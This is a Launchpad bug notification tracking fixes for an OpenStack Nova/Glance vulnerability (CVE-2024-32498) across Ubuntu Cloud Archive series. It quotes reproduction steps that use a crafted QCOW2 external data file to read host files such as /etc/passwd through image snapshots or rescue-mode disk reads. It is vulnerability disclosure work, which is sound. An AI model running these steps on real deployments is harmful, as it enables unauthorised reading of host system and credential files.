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Message #94188
[Bug 2059809] Re: [OSSA-2024-001] Arbitrary file access through QCOW2 external data file (CVE-2024-32498)
** Also affects: cloud-archive
Importance: Undecided
Status: New
** Also affects: cloud-archive/caracal
Importance: Undecided
Status: New
** Also affects: cloud-archive/yoga
Importance: Undecided
Status: New
** Also affects: cloud-archive/bobcat
Importance: Undecided
Status: New
** Also affects: cloud-archive/antelope
Importance: Undecided
Status: New
** Also affects: cloud-archive/ussuri
Importance: Undecided
Status: New
** Changed in: cloud-archive/antelope
Status: New => Fix Committed
** Changed in: cloud-archive/bobcat
Status: New => Fix Committed
** Changed in: cloud-archive/caracal
Status: New => Fix Committed
** Changed in: cloud-archive/ussuri
Status: New => Fix Committed
** Changed in: cloud-archive/yoga
Status: New => Fix Committed
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https://bugs.launchpad.net/bugs/2059809
Title:
[OSSA-2024-001] Arbitrary file access through QCOW2 external data file
(CVE-2024-32498)
Status in Cinder:
In Progress
Status in Ubuntu Cloud Archive:
Fix Committed
Status in Ubuntu Cloud Archive antelope series:
Fix Committed
Status in Ubuntu Cloud Archive bobcat series:
Fix Committed
Status in Ubuntu Cloud Archive caracal series:
Fix Committed
Status in Ubuntu Cloud Archive ussuri series:
Fix Committed
Status in Ubuntu Cloud Archive yoga series:
Fix Committed
Status in Glance:
In Progress
Status in OpenStack Compute (nova):
In Progress
Status in OpenStack Security Advisory:
Fix Released
Bug description:
OpenStack has security vulnerability in Nova or Glance, that allows an authenticated attacker to read arbitrary files.
QCOW2 has two mechanisms to read from another file. The backing file issue was reported and fixed with OSSA-2015-014, but the external data file was not discovered.
Steps to Reproduce:
- Create a disk image: `qemu-img create -f qcow2 -o data_file=abcdefghigh,data_file_raw=on disk.qcow2 1G` with `abcdefghigh` a placeholder of the same length as the file to read. `qemu-img` will zero it.
- Replace the filename in the disk image: `sed -i "s#abcdefghigh#/etc/passwd#" disk.qcow2`.
- Upload/register the disk image: `openstack image create --disk-format qcow2 --container-format bare --file "disk.qcow2" --private "my-image"`.
- Create a new instance: `openstack server create --flavor "nano" --image "my-image" "my-instance"`.
With the non-bootable instance there might be two ways to continue:
Option 1:
- Derive a new image: `openstack server image create --name "my-leak" "my-instance"`
- Download the image: `openstack image save --file "leak.qcow2" "my-leak"`
- The file content starts at guest cluster 0
Option 2: (this is untested because I reproduced it only in a production system)
- Reboot the instance in rescue mode: `openstack server rescue --image "cirros-0.6.2-x86_64-disk" "my-instance"`.
- Go to the Dashboard, open the console of the instance and login to the instance.
- Extract content from `/dev/sdb` with `cat /dev/sdb | fold -w 1024 | head -n 32`, `xxd -l 1024 -c 32 /dev/sdb` or similar methods.
- It might be possible to write to the host file. If the disk image is mounted with `qemu-nbd`, writes go through to the external data file.
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